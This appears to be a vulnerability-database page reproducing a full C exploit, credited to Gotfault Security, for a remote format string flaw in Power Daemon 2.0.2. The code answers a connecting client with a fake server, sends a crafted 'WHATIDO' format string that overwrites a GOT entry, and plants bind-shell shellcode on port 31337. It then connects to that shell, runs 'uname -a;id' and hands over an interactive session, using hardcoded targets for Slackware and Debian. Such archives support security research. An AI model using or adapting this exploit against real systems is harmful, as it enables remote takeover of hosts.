Lucene search
K

Power Daemon <= 2.0.2 (WHATIDO) Remote Format String Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 27 Views

Power Daemon v2.0.2 Remote Format String Exploit, Gotfault Security, Barros, xgc, gexp-powerd.

Code

                                                /*
 * gexp-powerd.c
 *
 * Power Daemon v2.0.2 Remote Format String Exploit
 * Copyright (C) 2005 Gotfault Security
 *
 * Bug found and developed by: barros and xgc
 *
 * Original Reference:
 * http://gotfault.net/research/exploit/gexp-powerd.c
 *
 */

#include &#60;getopt.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;unistd.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;netdb.h&#62;
#include &#60;errno.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;stdio.h&#62;

/*==[ Prototypes ]==*/
void fatal(char *);
void Usage(char *);
void FakeServer(char *,int);
void ExecuteShell(int);
int  CreateEvilBuffer(int,int,int,int,char *);
int  ConnectToShell(char *,int);

/*==[ Defines ]==*/
#define	DEFAULT_PORT		532	// Default fake server port
#define BIND_PORT		31337	// Default port to bind
#define NOPSIZE			50	// Number of NOP
#define NOP			0x90	// NOP byte
#define PAD			&#34;&#34;	// Format string alignment
#define PORT_OFFSET		29	// Offset to fix the shellcode
#define STDIN			0
#define STDOUT			1

/*==[ Targets ]==*/
struct
{
	char	*Name;
	int	Gotaddr;
	int	Retaddr;
	int	Pop;
}Targets[] =
	{
		&#34;Power Daemon v2.0.2 @ Slackware 10.0&#34;,
		0x0804c180,
		0xbffff2d4,
		17,

                &#34;Power Daemon v2.0.2 @ Debian 3.1 Linux&#34;,
                0x0804c198,
                0xbffff16c,
                27,

		// Finish
		0,
		0,
		0,
		0
	};

/*==[ Shellcode by Marco Ivaldi &#60;[email protected]&#62; ]==*/
char shellcode[] =
        &#34;\x31\xc0\x31\xdb\xb0\x17\xcd\x80&#34;
        &#34;\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80&#34;
        &#34;\x89\xc7\x52\x66\x68&#34;
        &#34;BP&#34; // Port to bind
        &#34;\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80&#34;
        &#34;\xb0\x66\xb3\x04\xcd\x80&#34;
        &#34;\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80&#34;
        &#34;\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80&#34;
        &#34;\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80&#34;;

int main(int argc, char **argv)
{
	extern  char		*optarg;
	extern  int		optind;
		char		opt;
		char		*Host = NULL;
		int		Port = DEFAULT_PORT;
		int		BindPort = BIND_PORT;
		int		TargetNumber = -1;
		int		Sock,i;
		char		EvilBuffer[1024];
		int		BufLen;

	fprintf(stdout,&#34;\n--=[ Power Daemon Remote Format String Exploit ]\n\n&#34;);
	
	// Process arguments
	while ( (opt = getopt(argc,argv,&#34;t:p:r:&#34;)) != EOF)
	{
		switch(opt)
		{
			case &#39;r&#39;:
				BindPort = atoi(optarg);
				if(!BindPort) Usage(argv[0]);
			break;
			case &#39;p&#39;:
				Port = atoi(optarg);
				if(!Port) Usage(argv[0]);
			break;
			case &#39;t&#39;:
				TargetNumber = atoi(optarg);
			break;
			default: Usage(argv[0]);
			break;
		}
	}

	// Verify target
	for(i=0;;i++)
		if(Targets[i].Name == 0) break;
	if(TargetNumber == -1) Usage(argv[0]);

	fprintf(stdout,&#34;[*] Plataform             : %s\n&#34;,Targets[TargetNumber].Name);
        fprintf(stdout,&#34;[*] Target GOT            : %#010x\n&#34;,Targets[TargetNumber].Gotaddr);
        fprintf(stdout,&#34;[*] Target Retaddr        : %#010x\n&#34;,Targets[TargetNumber].Retaddr);
        fprintf(stdout,&#34;[*] Bind to port          : %u\n&#34;,BindPort);
        fprintf(stdout,&#34;[*] Target POP            : %d\n\n&#34;,Targets[TargetNumber].Pop);

	CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr,Targets[TargetNumber].Pop,BindPort,EvilBuffer);
	FakeServer(EvilBuffer, BindPort);
}

void FakeServer(char *EvilBuffer, int BindPort) {

	int sock, newsock, i, reuseaddr = 1;
	struct sockaddr_in remoteaddr;
	struct sockaddr_in localaddr;
	int addrlen = sizeof(struct sockaddr_in);
	struct hostent *he;

	localaddr.sin_family = AF_INET;
	localaddr.sin_port = htons(DEFAULT_PORT);
	localaddr.sin_addr.s_addr = INADDR_ANY;
	bzero(&(localaddr.sin_zero), 8);

	fprintf(stdout,&#34;[*] Creating Fake Server  : &#34;);

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) &#60; 0) {
		perror(&#34; socket()&#34;);
		printf(&#34;\n&#34;);
		exit(1);
	}

	if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
		(socklen_t)sizeof(reuseaddr)) &#60; 0) {
		perror(&#34; setsockopt()&#34;);
		printf(&#34;\n&#34;);
		exit(1);
	}

	if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) &#60; 0) {
		perror(&#34; bind()&#34;);
		printf(&#34;\n&#34;);
		exit(1);
	}

	if (listen(sock, 1) &#60; 0) {
		perror(&#34; listen()&#34;);
		printf(&#34;\n&#34;);
		exit(1);
	}
	
	fprintf(stdout, &#34;done\n&#34;);

	printf(&#34;[*] Waiting Client        : &#34;);
	fflush(stdout);

	if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) &#60; 0) {
		perror(&#34; accept()&#34;);
		printf(&#34;\n&#34;);
		exit(1);
	}

	if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) &#60; 0) {
		perror(&#34; getpeername()&#34;);
		printf(&#34;\n&#34;);
		exit(1);
	}

	fprintf(stdout, &#34;done\n&#34;);

	fprintf(stdout, &#34;[*] Host Connected        : %s:%u\n&#34;, inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));

	fprintf(stdout, &#34;[*] Sending EvilBuffer    : &#34;);
	if(send(newsock,EvilBuffer,strlen(EvilBuffer)+1,0) == -1) {
		fatal(&#34;send()&#34;);
	}

	fprintf(stdout, &#34;done\n\n&#34;);

	memset(EvilBuffer, 0x00, sizeof(EvilBuffer));
	strcpy(EvilBuffer, (char *)inet_ntoa(remoteaddr.sin_addr));
	
        close(newsock);

        sleep(1);

        newsock = ConectToShell(EvilBuffer,BindPort);

        if(newsock == -1) {
                fprintf(stdout,&#34;[*] Exploit Failed.\n\n&#34;);
                exit(0);
        }
        else {
                fprintf(stdout,&#34;[*] Spawning Shell...\n\n&#34;);
                ExecuteShell(newsock);
                close(newsock);
        }

	fflush(stdout);
}

int CreateEvilBuffer(int GOT, int RETADDR, int POP, int BINDTOPORT, char *buffer)
{
        char            *nops = malloc(NOPSIZE+1);
        char            *ptr; 
        unsigned short  *len;
        unsigned short  *portPtr = (unsigned short *)(shellcode+PORT_OFFSET);

        // Fix shellcode
        *portPtr = htons(BINDTOPORT);

        ptr = buffer;

        // Create Nops
        bzero(nops,NOPSIZE+1);
        memset(nops,NOP,NOPSIZE);

	fprintf(stdout, &#34;[*] Creating EvilBuffer   : &#34;);

        // Create format string attack
        sprintf(ptr,&#34;WHATIDO &#34;
                PAD
                &#34;%c%c%c%c&#34;
                &#34;%c%c%c%c&#34;
                &#34;%%.%dd&#34;
                &#34;%%%d$hn&#34;
                &#34;%%.%dd&#34;
                &#34;%%%d$hn&#34;
                &#34;%s%s&#34;,
                ((u_long)GOT),
                ((u_long)GOT &#62;&#62; 8),
                ((u_long)GOT &#62;&#62; 16),
                ((u_long)GOT &#62;&#62; 24),
                ((u_long)GOT+2),
                (((u_long)GOT+2) &#62;&#62; 8),
                (((u_long)GOT+2) &#62;&#62; 16),
                (((u_long)GOT+2) &#62;&#62; 24),
                ((RETADDR & 0x0000FFFF) - 26),
                POP,
                (((RETADDR & 0xFFFF0000)&#62;&#62;16) + 0x10000 - (RETADDR & 0x0000FFFF)),
                POP+1,nops,shellcode);
	fprintf(stdout, &#34;done\n&#34;);
	fflush(stdout);

        return (strlen(ptr));
}

int ConectToShell(char *Host,int Port)
{
        struct          sockaddr_in server;
        struct          hostent *hp;
        int             s;

        server.sin_family = AF_INET;
        hp = gethostbyname(Host);
        if(!hp) return(-1);

        memcpy(&server.sin_addr,hp-&#62;h_addr,hp-&#62;h_length);
        server.sin_port = htons(Port);

        s = socket(PF_INET,SOCK_STREAM,0);
        if(connect(s,(struct sockaddr *)&server, sizeof(server)) &#60; 0)
                return(-1);

        return(s);
}

void ExecuteShell(int Sock)
{
        char            buffer[1024 * 10];
        int             count;
        fd_set          readfs;

        write(Sock,&#34;uname -a;id\n&#34;,12);
        while(1)
        {
                FD_ZERO(&readfs);
                FD_SET(STDIN, &readfs);
                FD_SET(Sock, &readfs);
                if(select(Sock + 1, &readfs, NULL, NULL, NULL) &#62; 0)
                {
                        if(FD_ISSET(STDIN, &readfs))
                        {
                                if((count = read(STDIN, buffer, 1024)) &#60;= 0)
                                {
                                        if(errno == EWOULDBLOCK || errno == EAGAIN)
                                                continue;
                                        else
                                        {
                                                close(Sock);
                                                exit(-1);
                                        }
                                }
                                write(Sock, buffer, count);
                        }
                        if(FD_ISSET(Sock, &readfs))
                        {
                                if((count = read(Sock, buffer, 1024)) &#60;= 0)
                                {
                                        if(errno == EWOULDBLOCK || errno == EAGAIN)
                                                continue;
                                        else
                                        {
                                                close(Sock);
                                                exit(-1);
                                        }
                                }
                                write(STDOUT, buffer, count);
                        }
                }
	}
}

void fatal(char *ErrorMsg)
{
        fprintf(stderr,&#34;ERROR - %s\n\n&#34;,ErrorMsg);
        exit(1);
}


void Usage(char *Prog)
{
        int i;
        fprintf(stderr, &#34;Usage: %s &#60;options&#62;\n\n&#34;
                        &#34;Options:\n\n&#34;
                        &#34; -t target     : Select the target\n&#34;
			&#34; -p portnumber : Sets a new port number &#60;default: %d&#62;\n&#34;
                        &#34; -r bindport   : Sets the port to bind a shell &#60;default: %d&#62;\n\n&#34;
                        &#34;Targets:\n\n&#34;,Prog,DEFAULT_PORT,BIND_PORT);

        for(i=0;;i++)
        {
                if(Targets[i].Name != 0)
                        fprintf(stderr,&#34; [%u] %s\n&#34;,i,Targets[i].Name);
                else
                        break;
        }
        fprintf(stderr,&#34;\n&#34;);
        exit(1);
}

// milw0rm.com [2006-02-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation